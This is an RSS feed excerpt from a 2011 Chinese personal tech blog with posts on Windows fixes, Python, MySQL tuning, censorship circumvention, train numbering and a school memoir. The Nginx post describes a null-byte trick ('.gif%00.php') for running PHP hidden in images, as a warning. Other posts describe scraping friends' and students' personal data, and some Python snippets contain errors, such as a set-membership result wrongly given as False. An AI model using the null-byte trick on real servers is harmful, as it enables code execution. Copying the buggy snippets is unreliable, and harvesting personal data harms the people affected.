<p>更多内容可以参考<a href="http://answers.microsoft.com/en-us/windows/forum/windows_7-hardware/nonexisting-cdrom-keeps-failing-to-load/36364706-a767-494f-ab07-3627e86d9f22">http://answers.microsoft.com/en-us/windows/forum/windows_7-hardware/nonexisting-cdrom-keeps-failing-to-load/36364706-a767-494f-ab07-3627e86d9f22</a></p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/post/386">让Home版的Vista也能”组策略“</a></p><p><a href="http://www.holmesian.org/post/859">红警2局域网联机补丁</a></p><p><a href="http://www.holmesian.org/post/551">HP笔记本 dv4全系列驱动for winxp</a></p><p><a href="http://www.holmesian.org/fixDVD">光驱设备问题新解</a></p><p><a href="http://www.holmesian.org/win7-wifi-winsock">Win7无法使用无线网络的问题</a></p><p><a href="http://www.holmesian.org/post/449">Windows溢出MS08066-08067-08052</a></p></div>]]></description>
	<pubDate>Fri, 02 Sep 2011 10:28:27 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/windows-epc-cdrom</guid>

</item>
<item>
	<title>微软官方USB性能提升补丁</title>
	<link>http://www.holmesian.org/windows-usb-patch</link>
	<description><![CDATA[<p>&nbsp; &nbsp; 不久之前微软官方发布了一个号称可以提升USB设备性能的热修复补丁KB2581464，U盘、移动硬盘传输速度忙的TX可以安装试试，适用系统为Windows7，微软同时强调说，要想看到效果，前提之一是硬件厂商在设备驱动中提供了一个INF设备信息文件，并在其中设置了上述参数。</p>
<p></p>
<div id="kindeditor" class="quote"><p>微软在知识库文章KB2581464中说，Windows 7或者Windows Server 2008 R2系统用户如果安装了这个补丁，会将Usbstor.sys驱动程序中的最大传输尺寸值从默认的64KB增加到2MB，对某些USB存储设备来说能够因此带来性能上的提升。</p>
<p></p>
<p></p>
</div>
<p>&nbsp;</p>
<p>KB2581464官方下载地址：http://support.microsoft.com/hotfix/KBHotfix.aspx?kbnum=2581464&amp;kbln=en-us</p>
<p>或者从附件下载</p>
<p></p>
<div><br />
</div><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/WINXPQQ">事件解读：番茄花园VS珊瑚虫QQ</a></p><p><a href="http://www.holmesian.org/post/531">服务器大清理</a></p><p><a href="http://www.holmesian.org/Win7_remote">让系统支持远程桌面多用户登陆工具</a></p><p><a href="http://www.holmesian.org/Win2k3_log">老服务器的若干问题</a></p><p><a href="http://www.holmesian.org/win7_E6">强大的windows7</a></p><p><a href="http://www.holmesian.org/post/436">利用WIN下的mail()发邮件</a></p></div>]]></description>
	<pubDate>Thu, 01 Sep 2011 04:24:25 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/windows-usb-patch</guid>

</item>
<item>
	<title>折腾Python人人爬虫的收获</title>
	<link>http://www.holmesian.org/python-shelve-set</link>
	<description><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;晚上折腾Python写人人网爬虫，目标是所有好友的相册和个人资料以及通讯录信息，目前相册抓取借助网上一位TX发现的人人相册的小Bugs已经实现，晚上对两个以前不喜欢用的功能颇有所得，在这里暂且记录一下。</p>
<p>&nbsp; &nbsp; &nbsp;首先是Python内置的数据库引擎Shelve，Python的数据持久化操作主要有六类：普通文件、DBM文件、Pickled对象存储、shelve对象存储、对象数据库存储、关系数据库存储。咱们初学者比较喜欢用普通文本文件和第三方的关系型数据库来进行数据持久化操作，但是在一些诸如要求"断点工作"的情况下用普通文件存储数据显得有些不够用而调用第三方数据库就显得杀鸡用牛刀，所以这个时候就轮到Shelve闪亮登场了：</p>
<p>&nbsp; &nbsp; 这是一个简单例子实现依靠Shelve完成断点工作功能</p>
<pre class="brush:python; toolbar: true;gutter: true;auto-links: false;">import shelve
db = shelve.open(LastUpdated, writeback = True)
if not db.has_key('WorkList'): db['WorkList'] = []
if len(db['WorkList']) == 0:
  db['WorkList'] = [id for id, work in allworkList]     
updateList = db['TaskList']</pre><p>&nbsp;</p>
<p>Shelve使用起来非常简单</p>
<p><p></p>
<pre class="brush:python; toolbar: true;gutter: true;auto-links: false;">import shelve
shelve = shelve.open("filename-on-disk") #打开shelve文件
MySpecialVariable = shelve['keyname'] #从shelve中读取
shelve['keyname'] = MySpecialVariable #给shelve赋值
shelve.close() #关闭对象</pre><p></p>
</p>
<p>当需要在意外情况发声，诸如进程被杀死或者以外终止的情况下对Shelve进行永久写入使，需要使用sync()</p>
<p><pre class="brush:python; toolbar: true;gutter: true;auto-links: false;">import shelve
shelve = shelve.open("filename-on-disk", writeback = True)#或者shelve=shelve.open(filename-on-disk, 'c')   
shelve.sync()</pre><div id="kindeditor" class="note">在Windows中shelve的文件路径如果有中文，必须是utf-8编码的str对象才行，gbk的str和unicode对象都会有问题。且key与value必须是字符串</div>
</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp; &nbsp; 另外一个Set()类型：Set是简单对象的无需集合。在set中，没有重复元素。通常在对集合中元素的顺序和出现的次数没有什么要求时使用。对于set，有一些函数可以帮助求解set之间的关系，例如：包含关系，交集关系等。</p>
<p>&nbsp; &nbsp; &nbsp; 定义一个set：s = set([1,2,3,4])。使用set函数来定义一个set。</p>
<p><div id="kindeditor" class="note">set中没有重复元素，如果定义set时其中包含重复元素，那该元素也仅会出现一次。</div>
</p>
<p>可以使用in关键字来判定某个对象是否属于一个set:</p>
<p><pre class="brush:python; toolbar: true;gutter: true;auto-links: false;">s = set([1,2,3])
print(1 in s)
#False </pre><p>可以使用&amp;、|、-求两个set的交集、并集、差集：</p>
<p><pre class="brush:python; toolbar: true;gutter: true;auto-links: false;">&gt;&gt;&gt; s1 = set([1,2,3,4])
&gt;&gt;&gt; s2 = set([2,4])
&gt;&gt;&gt; print(s1 &amp; s2)
set([2, 4])
&gt;&gt;&gt; print(s1 | s2)
set([1, 2, 3, 4])
&gt;&gt;&gt; print(s1 - s2)
set([1, 3])
&gt;&gt;&gt; </pre></p>
<div><br />
</div>
</p>
<p>&nbsp; &nbsp; &nbsp; 关于更多set的使用方法，使用help(set)。</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p></p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/python-fetch">Python抓取教务处信息</a></p><p><a href="http://www.holmesian.org/python-jiepang">用Python自动登录街旁并完成签到</a></p><p><a href="http://www.holmesian.org/python-penrose-tiling">神奇的Python混乱代码</a></p><p><a href="http://www.holmesian.org/python-test">初用python</a></p><p><a href="http://www.holmesian.org/python-thread">Python多线程抓取</a></p><p><a href="http://www.holmesian.org/python-diff"> python3.1与python2.x的区别</a></p></div>]]></description>
	<pubDate>Wed, 31 Aug 2011 12:22:20 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/python-shelve-set</guid>

</item>
<item>
	<title>针对mysql写入的优化设置</title>
	<link>http://www.holmesian.org/mysql-optimization</link>
	<description><![CDATA[<span class="Apple-style-span" style="font-family:arial, sans-serif;line-height:normal;"><p><p><strong><br />
</strong></p>
<p><strong>innodb_buffer_pool_size</strong></p>
如果用Innodb，那么这是一个重要变量。相对于MyISAM来说，Innodb对于buffer size更敏感。MySIAM可能对于大数据量使用默认的key_buffer_size也还好，但Innodb在大数据量时用默认值就感觉在爬了。 Innodb的缓冲池会缓存数据和索引，所以不需要给系统的缓存留空间，如果只用Innodb，可以把这个值设为内存的70%-80%。和 key_buffer相同，如果数据量比较小也不怎么增加，那么不要把这个值设太高也可以提高内存的使用率。</p>
<p><br />
<strong>innodb_additional_pool_size</strong><br />
这个的效果不是很明显，至少是当操作系统能合理分配内存时。但你可能仍需要设成20M或更多一点以看Innodb会分配多少内存做其他用途。</p>
<p><br />
<strong>innodb_log_file_size</strong><br />
对于写很多尤其是大数据量时非常重要。要注意，大的文件提供更高的性能，但数据库恢复时会用更多的时间。我一般用64M-512M，具体取决于服务器的空间。</p>
<p><br />
<strong>innodb_log_buffer_size</strong><br />
默认值对于多数中等写操作和事务短的运用都是可以的。如果经常做更新或者使用了很多blob数据，应该增大这个值。但太大了也是浪费内存，因为1秒钟总会 flush（这个词的中文怎么说呢？）一次，所以不需要设到超过1秒的需求。8M-16M一般应该够了。小的运用可以设更小一点。</p>
<p><br />
<strong>innodb_flush_log_at_trx_commit</strong>&nbsp;（这个很管用）<br />
抱怨Innodb比MyISAM慢 100倍？那么你大概是忘了调整这个值。默认值1的意思是每一次事务提交或事务外的指令都需要把日志写入（flush）硬盘，这是很费时的。特别是使用电 池供电缓存（Battery backed up cache）时。设成2对于很多运用，特别是从MyISAM表转过来的是可以的，它的意思是不写入硬盘而是写入系统缓存。日志仍然会每秒flush到硬 盘，所以你一般不会丢失超过1-2秒的更新。设成0会更快一点，但安全方面比较差，即使MySQL挂了也可能会丢失事务的数据。而值2只会在整个操作系统 挂了时才可能丢数据。</p>
<p>&nbsp;</p>
<p>上面是网上看的，我发现慢查询日志内有很多update和insert的查询，就把innodb_flush_log_at_trx_commit改成了2，效果很明显，改成0会更明显，但安全性比较差。做下面的操作启动mysqld就生效：<br />
vim /etc/my.cnf<br />
innodb_flush_log_at_trx_commit=2</p>
<p>也可以在mysqld运行时执行：<br />
set GLOBAL innodb_flush_log_at_trx_commit = 2</p>
<p>下面是mysql手册上innodb_flush_log_at_trx_commit的解释：<br />
如果innodb_flush_log_at_trx_commit设置为0，log buffer将每秒一次地写入log file中，并且log file的flush(刷到磁盘)操作同时进行；但是，这种模式下，在事务提交的时候，不会有任何动作。如果 innodb_flush_log_at_trx_commit设置为1(默认值)，log buffer每次事务提交都会写入log file，并且，flush刷到磁盘中去。如果innodb_flush_log_at_trx_commit设置为2，log buffer在每次事务提交的时候都会写入log file，但是，flush(刷到磁盘)操作并不会同时进行。这种模式下，MySQL会每秒一次地去做flush(刷到磁盘)操作。注意：由于进程调度策 略问题，这个“每秒一次的flush(刷到磁盘)操作”并不是保证100%的“每秒”。<br />
默认值1是为了ACID (atomicity, consistency, isolation, durability)原子性，一致性，隔离性和持久化的考虑。如果你不把innodb_flush_log_at_trx_commit设置为1，你将获得更好的性能，但是，你在系统崩溃的情况，可能会丢失最多一秒钟的事务数据。当你把innodb_flush_log_at_trx_commit设置 为0，mysqld进程的崩溃会导致上一秒钟所有事务数据的丢失。如果你把innodb_flush_log_at_trx_commit设置为2，只有在操作系统崩溃或者系统掉电的情况下，上一秒钟所有事务数据才可能丢失。InnoDB的crash recovery崩溃恢复机制并不受这个值的影响，不管这个值设置为多少，crash recovery崩溃恢复机制都会工作。</p>
<p>&nbsp;</p>
<p>另外<strong>innodb_flush_method</strong>参数也值得关注，对写操作有影响：<br />
innodb_flush_method： 设置InnoDB同步IO的方式：<br />
1) Default – 使用fsync（）。<br />
2) O_SYNC 以sync模式打开文件，通常比较慢。<br />
3) O_DIRECT，在Linux上使用Direct IO。可以显著提高速度，特别是在RAID系统上。避免额外的数据复制和double buffering（mysql buffering 和OS buffering）。</p>
</span><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/MySQL_0Day">最新MySQL 0day利用代码</a></p><p><a href="http://www.holmesian.org/MySQL_InnoDB">MySQL-InnoDB配置</a></p><p><a href="http://www.holmesian.org/Python-MySQLdb">让Python支持Mysql</a></p><p><a href="http://www.holmesian.org/double-mysql">同步两MySQL数据库</a></p><p><a href="http://www.holmesian.org/FreeBSD-mysql-backup">FreeBSD用Automysqlbackup备份mysql数据库</a></p><p><a href="http://www.holmesian.org/aokhost">发现一个不错的免费空间</a></p></div>]]></description>
	<pubDate>Wed, 31 Aug 2011 01:58:49 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/mysql-optimization</guid>

</item>
<item>
	<title>Word文档打开出错的解决办法</title>
	<link>http://www.holmesian.org/office-word-break</link>
	<description><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; 刚才隔壁师傅因为一个Word文档的问题向我求救，症状是下载和打开一个word文档的时候会弹出一个错误对话框，如图所示：直接点”不发送“按钮，word关闭；选中“恢复我的工作并重启microsoft office word”此项，再点“不发送”，出现了一个对话框，提示信息意思是word上次启动失败，word这次要以安全模式启动来解决启动中的错误，问是否使用安全模式启动，若选择是，word则进入安全模式。(出问题的环境是office 2003，winxp sp3)</p>
<p style="text-align:center;">&nbsp;&nbsp;&nbsp;&nbsp;<a target="_blank" href="/content/uploadfile/201108/da75ebd829e15e01efc01ca936aac39b20110830082322.png" id="ematt:185"><img src="/content/uploadfile/201108/thum-da75ebd829e15e01efc01ca936aac39b20110830082322.png" alt="点击查看原图" border="0" /></a></p>
<p style="text-align:left;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;其实之前类似遇到过若干次类似的错误，一直都没去深究问题的根源，不少人遇到这个问题大都是直接重装Office了事。其实为了这个错误直接重装Office是有点杀鸡用牛刀的意思，其实出现这个错误的原因是模板文件Normal.dot出错了：可能由于在关闭word时，word中的插件宏或者脚本等要往Normal.dot中写东西从而产生冲突极有可能导致Normal.dot文件出错，最终使得下次启动word时不能正常启动，只能以安全模式启动。</p>
<p style="text-align:left;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; 原因找到了问题自然迎刃而解：删除掉这个出错的normal.dot模板文件，下次word启动的时候会自动重建，也不会弹出任何错误提示了。</p>
<p style="text-align:left;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; 一般来说normal.dot的位置在C:\Documents and Settings\[Username]\Application Data\Microsoft\Templates，如果你修改了位置或者无法找到可以先根据提示进入word的安全模式，再从菜单中选择[工具]-[选项]-[文件位置]查看并删除normal.dot文件。</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/post/386">让Home版的Vista也能”组策略“</a></p><p><a href="http://www.holmesian.org/post/108">超级精简版Windows Vista</a></p><p><a href="http://www.holmesian.org/post/531">服务器大清理</a></p><p><a href="http://www.holmesian.org/post/859">红警2局域网联机补丁</a></p><p><a href="http://www.holmesian.org/PSDK">XPSP2 PSDK下载</a></p><p><a href="http://www.holmesian.org/post/551">HP笔记本 dv4全系列驱动for winxp</a></p></div>]]></description>
	<pubDate>Tue, 30 Aug 2011 08:19:26 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/office-word-break</guid>

</item>
<item>
	<title>[转]TelexShell – 图形化的Telex</title>
	<link>http://www.holmesian.org/TelexShell</link>
	<description><![CDATA[<p>&nbsp; &nbsp;&nbsp;Telex 反互联网审查系统是一个由美国密歇根大学开发的新一代反互联网审查的方式。TelexShell是一个用C#写的telex代理（图形界面），运行后直接最小化到系统托盘。</p>
<p>&nbsp; &nbsp;&nbsp;TelexShell比起Telex方便的地方在于，直接运行即可，不用关心本地代理的参数设置，程序退出后自动还原。不过目前支持的浏览器是IE和Google Chrome。</p>
<div>&nbsp;&nbsp;&nbsp;&nbsp;PS:目前速度不是很理想，不过作为hosts以外的另一种穿越方式，值得期待。</div>
<div><div id="kindeditor" class="quote">&nbsp;&nbsp;&nbsp;&nbsp;以往的代理和隧道方式，必须在墙外有一个服务器代理。但该服务器IP容易被审查系统发现并屏蔽。而新的方式，根本没有代理IP。用户只需一个客户端。当用户访问一个被屏蔽的网站，客户端会采用https的方式，访问一个合法没有被屏蔽的网站。审查系统看到的是访问合法网站。但协议头里面添加真正的 Telex工作站公钥加密的目标地址。另一头，需部署Telex 工作站，就是路由器。这种路由器看到由其公钥加密的协议后，用私钥解密出真正的目标地址，再用境外代理获取内容。</div>
</div>
<div><br />
</div>
<div><br />
</div><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/host-ssl-Pass-G-F-W">墙内上推、youtube、google+、Facebook等</a></p><p><a href="http://www.holmesian.org/UC_fuck_GFW">手机穿墙利器UC_USA_V3.sis</a></p><p><a href="http://www.holmesian.org/chrome-ssl-only">Chrome无插件实现强制SSL连接</a></p></div>]]></description>
	<pubDate>Mon, 29 Aug 2011 14:29:11 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/TelexShell</guid>

</item>
<item>
	<title>Win7沙盘Sandboxie运行程序出错的解决办法</title>
	<link>http://www.holmesian.org/win7-sandboxie-ipc</link>
	<description><![CDATA[<p>&nbsp; &nbsp; 因为对Windows的洁癖，基本上绝大部分程序都是放在沙盘里运行，曾几何时发现不少程序在沙盘中运行时会出现类似“应用程序无法正常启动”的错误提示，一开始以为权限不足然而提高沙盘权限甚至允许加载部分驱动之后仍然提示同样的“应用程序无法正常启动”错误。</p>
<p>&nbsp; &nbsp; 偶然间发现会出现类似错误的程序基本上全部都调用了命令行，经查得知原来在Win7系统中由于7月份的一些更新使得系统的命令行程序的运行行为发生了改变，使得sanboxie 3.56及以下版本都会出现类似的错误。最终通过以下方法完美解决了命令行程序会出错的问题：</p>
<p></p>
<p></p>
<div id="kindeditor" class="quote"><p>1、在“沙盘”菜单中选择运行控制台程序的沙盘</p>
<p>2、在出现的对话框中展开“资源访问”——“IPC访问”——“直接访问”</p>
<p>3、添加“\RPC Control\ConsoleEvent-0x*”和“\RPC Control\ConsoleLPC-0x*”两项（不包括引号）</p>
</div>
<p></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p></p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/windows-epc-cdrom">推荐上网本修改一个注册表参数</a></p><p><a href="http://www.holmesian.org/post/385">解决”Vista无法全选文件夹“的问题</a></p><p><a href="http://www.holmesian.org/WindowsM">E6安装Windows Mobile系统的可行性分析</a></p><p><a href="http://www.holmesian.org/post/386">让Home版的Vista也能”组策略“</a></p><p><a href="http://www.holmesian.org/post/73">无法删除桌面快捷方式的解决方法</a></p><p><a href="http://www.holmesian.org/FEAT">FTP的FEAT问题</a></p></div>]]></description>
	<pubDate>Mon, 29 Aug 2011 14:14:16 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/win7-sandboxie-ipc</guid>

</item>
<item>
	<title>Nginx的高危漏洞</title>
	<link>http://www.holmesian.org/nginx-bug</link>
	<description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; 这个貌似从昨天晚上开始就很热了，主要是针对Nginx+FastCGI组合跑PHP的环境，原因是传递变量不统一（Ngnix在遇到%00空字节时与FastCGI处理不一致，导致可以在图片中嵌入PHP代码然后通过访问××××.gif%00.php来执行其中的php代码）<div></div>
<div id="kindeditor" class="quote"><div><span class="Apple-style-span" style="font-size:13px;line-height:19px;background-color:#ffffff;">受影响的Nginx版本:</span></div>
<div>nginx 0.5.*</div>
<div>nginx 0.6.*</div>
<div>nginx 0.7 &lt;= 0.7.65</div>
<div>nginx 0.8 &lt;= 0.8.37</div>
<div><br />
</div>
<div>参考https://nealpoole.com/blog/2011/07/possible-arbitrary-code-execution-with-null-bytes-php-and-old-versions-of-nginx/</div>
</div>
<div></div>
<div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; 这个Nginx高危漏洞应该有一段日子了，说什么远程溢出很可笑，其实撑死了算个本地包含；虽然不少大站都在用有问题的版本不过相信靠谱点的网站都已经做了动静分离，不过相信总会有漏网之鱼的，还在使用上述有问题的Nginx版本的TX尽快升级到最新的1.1以上吧。<br />
</div>
<div><br />
</div>
<div><br />
</div>
<div><br />
</div><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/mstsc_patch">拒绝远程连接泄露你的信息</a></p><p><a href="http://www.holmesian.org/Nginx_separator">解决Nginx下二级目录斜杠问题</a></p><p><a href="http://www.holmesian.org/PHPWind7-8">PHPWind7&amp;amp;8最新漏洞-2010.9.6</a></p><p><a href="http://www.holmesian.org/Nginx-apache-ip">Nginx做前端时让Apache能得到真实IP的做法</a></p><p><a href="http://www.holmesian.org/phpwind_0Day">phpwind 7.5最新0Day漏洞利用</a></p><p><a href="http://www.holmesian.org/OFEXX">Office溢出合集</a></p></div>]]></description>
	<pubDate>Fri, 26 Aug 2011 04:32:03 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/nginx-bug</guid>

</item>
<item>
	<title>铁路运营车次的常识</title>
	<link>http://www.holmesian.org/railway-list</link>
	<description><![CDATA[<div>　　总的来说，为确保列车车次全路统一性及有关行车设备和信息系统正常运行，列车车次编排仅限于使用大写汉语拼音字母和阿拉伯数字，总位数原则不得超过7位。列车编用车次，旅客列车在全路范围、货物列车在铁路局管内不得重复，旅客列车车次由铁道部确定。季节性、特定时间段开行的动车组、全程客运机车牵引的临时旅客列车，使用相应等级图定车次。</div>
<div><div>　　</div>
</div>
<div id="kindeditor" class="note"><div><div>列车运行方向，原则上以开往北京方向为上行，枢纽地区的列车运行方向，由铁路局规定。列车都是按规定编定车次的，上行列车编为双数，下行列车编为单数。</div>
</div>
<div></div>
</div>
<div><br />
</div>
<div><br />
</div>
<div>关于车次的编制简单来说：</div>
<div><span class="Apple-style-span" style="font-size:12px;line-height:18px;background-color:#e7e7e7;"><div></div>
<div id="kindeditor" class="quote"><div>Z—直达特快列车&nbsp;</div>
<div>T—特快列车&nbsp;</div>
<div>K—快速列车&nbsp;</div>
<div>N—管内快速列车（和K一个意思，咱们普通乘客不用特意区别）&nbsp;</div>
<div>L、A—临时旅客列车&nbsp;</div>
<div>Y—旅游列车&nbsp;</div>
<div>没有字母的四位车次——普通列车&nbsp;</div>
</div>
<div></div>
</span></div>
<div><br />
</div>
<div><br />
</div>
<div>具体来说</div>
<div id="kindeditor" class="quote">
<div><br />
</div>
<div>&nbsp; &nbsp; &nbsp; 1.高速动车组旅客列车G1－G9998“G”读“高”</div>
<div><br />
</div>
<div>　　其中：跨局G1－G5998</div>
<div><br />
</div>
<div>　　管内G6001－G9998</div>
<div><br />
</div>
<div>　　2．城际动车组旅客列车C1－C9998“C”读“城”</div>
<div><br />
</div>
<div>　　其中：跨局C1－C1998</div>
<div><br />
</div>
<div>　　管内C2001－C9998</div>
<div><br />
</div>
<div>　　3．动车组旅客列车D1－D9998“D”读“动”</div>
<div><br />
</div>
<div>　　其中：跨局D1－D3998</div>
<div><br />
</div>
<div>　　管内D4001－D9998</div>
<div><br />
</div>
<div>　　4．直达特快旅客列车Z1－Z9998“Z”读“直”</div>
<div><br />
</div>
<div>　　5．特快旅客列车T1－T9998“T”读“特”</div>
<div><br />
</div>
<div>　　其中：跨局T1－T4998</div>
<div><br />
</div>
<div>　　管内T5001－T9998</div>
<div><br />
</div>
<div>　　6．快速旅客列车K1－K9998“K”读“快”</div>
<div><br />
</div>
<div>　　其中：跨局K1－K6998</div>
<div><br />
</div>
<div>　　管内K7001－K9998</div>
<div><br />
</div>
<div>　　7．普通旅客列车1001－7598</div>
<div><br />
</div>
<div>　　⑴普通旅客快车1001－5998</div>
<div><br />
</div>
<div>　　其中：跨三局及其以上1001－1998</div>
<div><br />
</div>
<div>　　跨两局2001－3998</div>
<div><br />
</div>
<div>　　管内4001－5998</div>
<div><br />
</div>
<div>　　⑵普通旅客慢车6001－7598</div>
<div><br />
</div>
<div>　　其中：跨局6001－6198</div>
<div><br />
</div>
<div>　　管内6201－7598</div>
<div><br />
</div>
<div>　　8．通勤列车7601－8998</div>
<div><br />
</div>
<div>　　9．临时旅客列车L1－L9998“L”读“临”</div>
<div><br />
</div>
<div>　　其中：跨局L1－L6998</div>
<div><br />
</div>
<div>　　管内L7001－L9998</div>
<div><br />
</div>
<div>　　10．旅游列车Y1－Y998“Y”读“游”</div>
<div><br />
</div>
<div>　　其中：跨局Y1－Y498</div>
<div><br />
</div>
<div>　　管内Y501－Y998</div>
<div><br />
</div>
<div>　　11．动车组检测车DJ5501－DJ5598“DJ”读“动检”</div>
<div><br />
</div>
<div>　　12．回送出入厂客车底列车001－00298</div>
<div><br />
</div>
<div>　　13．回送图定客车底在车次前冠以“0”</div>
<div><br />
</div>
<div>　　14．因故折返旅客列车原车次前冠以“F”读“返”</div>
<div><br />
</div>
<div>　　二、行包专列</div>
<div><br />
</div>
<div>　　1．行邮特快专列X1－X198“X”读“行”</div>
<div><br />
</div>
<div>　　2．行包快运专列X201－X998</div>
<div><br />
</div>
<div>　　三、货物列车</div>
<div><br />
</div>
<div>　　1．直达货物列车80001－87998</div>
<div><br />
</div>
<div>　　10001－19998</div>
<div><br />
</div>
<div>　　其中：</div>
<div><br />
</div>
<div>　　货运五定班列80001－81748</div>
<div><br />
</div>
<div>　　快运货物列车81751－81998</div>
<div><br />
</div>
<div>　　煤炭直达列车82001－84998</div>
<div><br />
</div>
<div>　　石油直达列车85001－85998</div>
<div><br />
</div>
<div>　　始发直达列车86001－86998</div>
<div><br />
</div>
<div>　　空车直达列车87001－87998</div>
<div><br />
</div>
<div>　　技术直达列车10001－19998</div>
<div><br />
</div>
<div>　　2．直通货物列车20001－29998</div>
<div><br />
</div>
<div>　　3．区段货物列车30001－39998</div>
<div><br />
</div>
<div>　　4．摘挂列车40001－44998</div>
<div><br />
</div>
<div>　　5．小运转列车45001－49998</div>
<div><br />
</div>
<div>　　6．超限货物列车70001－70998</div>
<div><br />
</div>
<div>　　7．万吨货物列车71001－72998</div>
<div><br />
</div>
<div>　　8．冷藏列车73001－74998</div>
<div><br />
</div>
<div>　　9．军用列车90001－91998</div>
<div><br />
</div>
<div>　　10．自备车列车60001－69998</div>
<div><br />
</div>
<div>　　11．抢险救灾列车95001－97998</div>
<div><br />
</div>
<div>　　四、单机和路用列车</div>
<div><br />
</div>
<div>　　1．单机50001－52998</div>
<div><br />
</div>
<div>　　其中：客车单机50001－50998</div>
<div><br />
</div>
<div>　　货车单机51001－51998</div>
<div><br />
</div>
<div>　　小运转单机52001－52998</div>
<div><br />
</div>
<div>　　2．补机53001－54998</div>
<div><br />
</div>
<div>　　3．试运转列车55001－55998</div>
<div><br />
</div>
<div>　　4．轻油动车、轨道车56001－56998</div>
<div><br />
</div>
<div>　　5．路用列车57001－57998</div>
<div><br />
</div>
<div>　　6．救援列车58101－58998</div>
</div>
<div></div>
<div><br />
</div>]]></description>
	<pubDate>Mon, 22 Aug 2011 00:47:31 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/railway-list</guid>

</item>
<item>
	<title>Python抓取教务处信息</title>
	<link>http://www.holmesian.org/python-fetch</link>
	<description><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; 练习使用类、多线程、urlib库的时候写的一个东西，作用是从教务处抓取年级信息、班级信息、学生信息、学生成绩信息等。当时写得有些乱，纯三无产品，不过基本能用且网络好的情况下效率不低，多线程抓取，出错自动重试，需要的TX可以参考或者直接用来抓取数据。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;用到的库有urllib2,cookielib,os,sys,urllib,re,MySQLdb,threading,time,Queue，其中MySQLdb为第三方库，需自己安装，数据库结构文件为python.sql。</p>
<p>&nbsp;</p>
<div><br />
</div>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/python-shelve-set">折腾Python人人爬虫的收获</a></p><p><a href="http://www.holmesian.org/python-thread">Python多线程抓取</a></p><p><a href="http://www.holmesian.org/python-diff"> python3.1与python2.x的区别</a></p><p><a href="http://www.holmesian.org/python-jiepang">用Python自动登录街旁并完成签到</a></p><p><a href="http://www.holmesian.org/Python-MySQLdb">让Python支持Mysql</a></p><p><a href="http://www.holmesian.org/python-test">初用python</a></p></div>]]></description>
	<pubDate>Thu, 18 Aug 2011 03:02:29 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/python-fetch</guid>

</item>
<item>
	<title>关于中学的碎碎念</title>
	<link>http://www.holmesian.org/My-High-school</link>
	<description><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; 从7月28日开始到干校培训算起，到现在我也已经算是正式参加工作近一周了。说实话直到今天自己去完成办工资卡，照证件照等琐事的时候才真真正正地发觉学生时代已经离我越来越远，作为一名工程技术人员的奋斗生涯已经开始。工作分配在路局下属的支线综合段，其中有种种的机缘巧合与尴尬趣事，下周即将奔赴一线工地，此后基本与职业IT行业绝缘，相信若干年之后不会为自己这个路口上的决定后悔。</p>
<p>&nbsp;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; 由于没有宿舍可以安排给我，干校培训结束后的这几天和一个刚结束初三生活的“小朋友”一同住在姑姑家，“小朋友”一米八的个头有些病态的内敛（是真的病态，内敛到与人交流有障碍）。本来之前只是有一点感同身受的体会，但是从今天“小朋友”被接回北京开始我无限回忆着自己在中学时的点点滴滴：</p>
<p>&nbsp;</p>
<p>第一次听以前很抵触的流行歌，最后渐渐演化为基本只听Jay；</p>
<p>第一次拿了一个市级以上奖，靠的是一个连蒙带骗的PPT；</p>
<p>初三结束的暑假第一次正式上网，第一个用的IM是网易泡泡，第一个QQ号是小赖给的；</p>
<p>一大帮子人每周末或星际，或帝国，或暗黑，相当之敬业；</p>
<p>疯狂的游戏时代，因为当时单机游戏不多，托表哥的福基本上市面上80%的游戏都玩过，之后对游戏产生了很强的抗体；</p>
<p>第一个并且是唯一入迷的网游是传奇（热血传奇、传奇3、传奇世界直到最后玩了几天传奇私服）；</p>
